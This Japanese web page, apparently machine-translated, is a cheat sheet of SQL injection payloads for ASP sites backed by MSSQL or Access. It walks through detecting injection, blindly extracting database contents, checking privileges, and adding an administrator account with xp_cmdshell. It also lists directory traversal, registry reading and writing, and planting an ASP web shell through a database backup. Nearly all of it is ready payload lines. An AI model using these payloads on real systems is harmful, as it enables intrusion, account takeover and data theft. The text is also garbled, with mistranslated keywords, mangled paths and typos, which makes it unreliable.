1. ホーム
  2. Web プログラミング
  3. セキュリティ関連

ASPインジェクションの手法を網羅的に理解する【収録概要

2022-01-17 20:08:17

1. インジェクションがあるかどうかの判断
;かつ1=1
と1=2
2. mssqlかどうかの初期判定
とユーザー>0
3. インジェクションパラメータは文字
''と[クエリ条件]と''=''です。
4. フィルタリングパラメータを指定しない検索
'かつ[クエリ条件]かつ'%25'=' です。
5. データベースシステムの決定
;かつ (select count(*) from sysobjects)>0 mssql
;and (select count(* from msysobjects)>0 アクセス
6. データベースを推測する
;かつ (Select Count(*) from [データベース名])>0
7. フィールドを推測する
;かつ (Select Count(field name) from database name)>0
8. フィールドのレコードの長さを推測する
;かつ (select top 1 len(field name) from database name)>0
9.(1) フィールドのアスキー値を推測する(アクセス)
;and (select top 1 asc(mid(field name,1,1)) from database name)>0
(2) フィールドのアスキー値を推測する(mssql)
;かつ (select top 1 unicode(substring(field name,1,1)) from database name)>0
10. 権限構造のテスト (mssql)
;and 1=(Select IS_SRVROLEMBER('sysadmin'));-- 。
;and 1=(Select IS_SRVROLEMEMBER('serveradmin'));-- 。
;and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--.
;and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--.
;and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--.
;and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--.
;and 1=(Select IS_MEMBER('db_owner'));-- 。
11. mssqlとシステムアカウントの追加
;exec master.dbo.sp_addlogin ユーザー名;--。
;exec master.dbo.sp_password null,ユーザー名,パスワード;--。 
;exec master.dbo.sp_addsrvrolemember sysadmin ユーザー名;--。
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--;;--.
;exec master.dbo.xp_cmdshell 'ネットユーザー ユーザー パスワード /add';--. 
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--. 
12.(1) ディレクトリをたどる
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'.
;and (select top 1 paths from dirs)>0
;そして(select top 1 paths from dirs where paths not in('paths obtained in previous step'))>)
(2) ディレクトリを繰り返し処理する
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--)
;insert temp exec master.dbo.xp_availablemedia;-- 現在のすべてのドライブを取得します。
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- サブディレクトリのリストを取得します。
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- すべてのサブディレクトリを含むディレクトリツリー構造を取得します。
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\webindex.asp';-- View the contents of the file
13. mssql におけるストアドプロシージャ
xp_regenumvalues レジストリルートキー、サブキー
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Windows³³CurrentVersion³³Run' Return all keys as multiple recordsets
xp_regread ルートキー、サブキー、キー名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftGuideWindowsCurrentVersion','CommonFilesDir' 指定したキーの値を返送します。
xp_regwrite ルートキー、サブキー、値名、値型、値
値の種類には、文字型のREG_SZと整数型のREG_DWORDの2種類があります。 
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftGuideWindowsGuideCurrentVersion',
'TestValueName','reg_sz','hello' レジストリに書き込みます。
xp_regdeletevalue ルートキー,サブキー,値名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft⇄WindowsCurrentVersion','TestValueName' Delete a value
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey' Delete the key, including all values under the key
14. mssqlのバックアップでwebshellが作成される
使用モデル
テーブルcmd(str image)を作成します。
cmd(str) に値 ('<% Dim oScript %>') を挿入します。
データベースモデルをdisk='c:Ⅻl.asp'にバックアップします。
15. MSSL組み込み関数
;and (select @@@version)>0 Windowsのバージョン番号を取得する。
;and user_name()='dbo' システム上で現在接続中のユーザーがsaであるかどうかを判定します。
;and (select user_name())>0 現在のシステムの接続ユーザーを爆発させます。
;and (select db_name())>0 現在接続しているデータベースを取得します。
16. ウェブシェルのクリーンアップ
使用モデル
テーブルcmd(str image)を作成します。
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c" ;)).stdout.readall%>').*');
backup database model to disk='g:\wwwtest***l.asp';